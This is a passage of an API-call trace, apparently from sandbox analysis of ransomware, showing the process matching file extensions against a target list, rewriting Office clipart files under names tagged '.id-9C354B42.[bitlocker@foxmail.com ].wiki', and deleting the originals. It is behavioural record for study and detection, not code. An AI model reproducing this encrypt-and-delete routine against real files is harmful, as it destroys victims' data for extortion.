[0193.070] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0193.070] lstrlenW (lpString=".ppt") returned 4 [0193.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0193.070] lstrlenW (lpString=".zip") returned 4 [0193.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.073] lstrlenW (lpString=".rar") returned 4 [0193.073] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.073] lstrlenW (lpString=".bz2") returned 4 [0193.073] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.073] lstrlenW (lpString=".7z") returned 3 [0193.073] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0193.073] lstrlenW (lpString=".dbf") returned 4 [0193.073] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0193.073] lstrlenW (lpString=".1cd") returned 4 [0193.073] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0193.073] lstrlenW (lpString=".jpg") returned 4 [0193.073] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0193.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0193.073] lstrlenW (lpString=".doc") returned 4 [0193.073] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.073] lstrlenW (lpString=".docx") returned 5 [0193.073] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0193.073] lstrlenW (lpString=".pdf") returned 4 [0193.073] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.073] lstrlenW (lpString=".xls") returned 4 [0193.073] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.073] lstrlenW (lpString=".xlsx") returned 5 [0193.073] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0193.073] lstrlenW (lpString=".ppt") returned 4 [0193.073] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0193.073] lstrlenW (lpString=".zip") returned 4 [0193.073] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.074] lstrlenW (lpString=".rar") returned 4 [0193.074] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.074] lstrlenW (lpString=".bz2") returned 4 [0193.074] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.074] lstrlenW (lpString=".7z") returned 3 [0193.074] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0193.074] lstrlenW (lpString=".dbf") returned 4 [0193.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0193.074] lstrlenW (lpString=".1cd") returned 4 [0193.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0193.074] lstrlenW (lpString=".jpg") returned 4 [0193.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.074] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.074] lstrlenW (lpString="J0105244.WMF") returned 12 [0193.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.075] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=11228) returned 1 [0193.075] CloseHandle (hObject=0x200) returned 1 [0193.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf")) returned 0x20 [0193.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.075] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.075] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0193.289] GetLastError () returned 0x0 [0193.289] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x2bdc, lpOverlapped=0x0) returned 1 [0193.312] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x2be0, lpOverlapped=0x0) returned 1 [0193.313] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0193.313] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.313] SetEndOfFile (hFile=0x1f8) returned 1 [0193.313] CloseHandle (hObject=0x1f8) returned 1 [0193.313] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.313] SetEndOfFile (hFile=0x200) returned 1 [0193.314] CloseHandle (hObject=0x200) returned 1 [0193.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.314] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf")) returned 1 [0193.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0193.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0193.314] lstrlenW (lpString=".doc") returned 4 [0193.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.314] lstrlenW (lpString=".docx") returned 5 [0193.314] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0193.314] lstrlenW (lpString=".pdf") returned 4 [0193.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.314] lstrlenW (lpString=".xls") returned 4 [0193.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.314] lstrlenW (lpString=".xlsx") returned 5 [0193.314] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0193.315] lstrlenW (lpString=".ppt") returned 4 [0193.315] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0193.315] lstrlenW (lpString=".zip") returned 4 [0193.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.315] lstrlenW (lpString=".rar") returned 4 [0193.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.315] lstrlenW (lpString=".bz2") returned 4 [0193.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.315] lstrlenW (lpString=".7z") returned 3 [0193.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0193.315] lstrlenW (lpString=".dbf") returned 4 [0193.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0193.315] lstrlenW (lpString=".1cd") returned 4 [0193.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0193.315] lstrlenW (lpString=".jpg") returned 4 [0193.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0193.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0193.315] lstrlenW (lpString=".doc") returned 4 [0193.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.315] lstrlenW (lpString=".docx") returned 5 [0193.315] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0193.315] lstrlenW (lpString=".pdf") returned 4 [0193.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.315] lstrlenW (lpString=".xls") returned 4 [0193.316] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.316] lstrlenW (lpString=".xlsx") returned 5 [0193.316] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0193.316] lstrlenW (lpString=".ppt") returned 4 [0193.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0193.316] lstrlenW (lpString=".zip") returned 4 [0193.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.316] lstrlenW (lpString=".rar") returned 4 [0193.316] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.316] lstrlenW (lpString=".bz2") returned 4 [0193.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.316] lstrlenW (lpString=".7z") returned 3 [0193.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0193.316] lstrlenW (lpString=".dbf") returned 4 [0193.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0193.316] lstrlenW (lpString=".1cd") returned 4 [0193.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0193.316] lstrlenW (lpString=".jpg") returned 4 [0193.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.316] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.316] lstrlenW (lpString="J0105294.WMF") returned 12 [0193.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.317] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=5504) returned 1 [0193.317] CloseHandle (hObject=0x200) returned 1 [0193.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf")) returned 0x20 [0193.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.317] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.317] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0193.318] GetLastError () returned 0x0 [0193.318] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x1580, lpOverlapped=0x0) returned 1 [0193.319] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1590, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1590, lpOverlapped=0x0) returned 1 [0193.320] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0193.320] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.320] SetEndOfFile (hFile=0x1f8) returned 1 [0193.321] CloseHandle (hObject=0x1f8) returned 1 [0193.321] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.321] SetEndOfFile (hFile=0x200) returned 1 [0193.321] CloseHandle (hObject=0x200) returned 1 [0193.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.322] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf")) returned 1 [0193.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0193.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0193.322] lstrlenW (lpString=".doc") returned 4 [0193.322] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.322] lstrlenW (lpString=".docx") returned 5 [0193.322] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0193.322] lstrlenW (lpString=".pdf") returned 4 [0193.322] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.322] lstrlenW (lpString=".xls") returned 4 [0193.322] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.322] lstrlenW (lpString=".xlsx") returned 5 [0193.322] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0193.322] lstrlenW (lpString=".ppt") returned 4 [0193.322] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0193.322] lstrlenW (lpString=".zip") returned 4 [0193.322] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.322] lstrlenW (lpString=".rar") returned 4 [0193.322] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.322] lstrlenW (lpString=".bz2") returned 4 [0193.322] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.322] lstrlenW (lpString=".7z") returned 3 [0193.322] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0193.323] lstrlenW (lpString=".dbf") returned 4 [0193.323] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0193.323] lstrlenW (lpString=".1cd") returned 4 [0193.323] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0193.323] lstrlenW (lpString=".jpg") returned 4 [0193.323] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0193.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0193.323] lstrlenW (lpString=".doc") returned 4 [0193.323] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.323] lstrlenW (lpString=".docx") returned 5 [0193.323] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0193.323] lstrlenW (lpString=".pdf") returned 4 [0193.323] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.323] lstrlenW (lpString=".xls") returned 4 [0193.323] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.323] lstrlenW (lpString=".xlsx") returned 5 [0193.323] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0193.323] lstrlenW (lpString=".ppt") returned 4 [0193.323] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0193.323] lstrlenW (lpString=".zip") returned 4 [0193.323] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.323] lstrlenW (lpString=".rar") returned 4 [0193.323] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.323] lstrlenW (lpString=".bz2") returned 4 [0193.323] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.323] lstrlenW (lpString=".7z") returned 3 [0193.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0193.324] lstrlenW (lpString=".dbf") returned 4 [0193.324] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0193.324] lstrlenW (lpString=".1cd") returned 4 [0193.324] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0193.324] lstrlenW (lpString=".jpg") returned 4 [0193.324] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.324] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.324] lstrlenW (lpString="J0105298.WMF") returned 12 [0193.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.324] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=6320) returned 1 [0193.325] CloseHandle (hObject=0x200) returned 1 [0193.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf")) returned 0x20 [0193.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.325] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.325] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0193.325] GetLastError () returned 0x0 [0193.325] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x18b0, lpOverlapped=0x0) returned 1 [0193.327] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x18c0, lpOverlapped=0x0) returned 1 [0193.328] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0193.328] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.328] SetEndOfFile (hFile=0x1f8) returned 1 [0193.328] CloseHandle (hObject=0x1f8) returned 1 [0193.328] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.328] SetEndOfFile (hFile=0x200) returned 1 [0193.329] CloseHandle (hObject=0x200) returned 1 [0193.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.329] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf")) returned 1 [0193.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0193.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0193.330] lstrlenW (lpString=".doc") returned 4 [0193.330] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.330] lstrlenW (lpString=".docx") returned 5 [0193.330] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0193.330] lstrlenW (lpString=".pdf") returned 4 [0193.330] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.330] lstrlenW (lpString=".xls") returned 4 [0193.330] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.330] lstrlenW (lpString=".xlsx") returned 5 [0193.330] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0193.330] lstrlenW (lpString=".ppt") returned 4 [0193.330] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0193.330] lstrlenW (lpString=".zip") returned 4 [0193.330] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.330] lstrlenW (lpString=".rar") returned 4 [0193.330] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.330] lstrlenW (lpString=".bz2") returned 4 [0193.330] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.330] lstrlenW (lpString=".7z") returned 3 [0193.330] lstrcmpiW (lpString1=".7z", lpString2="WMF") 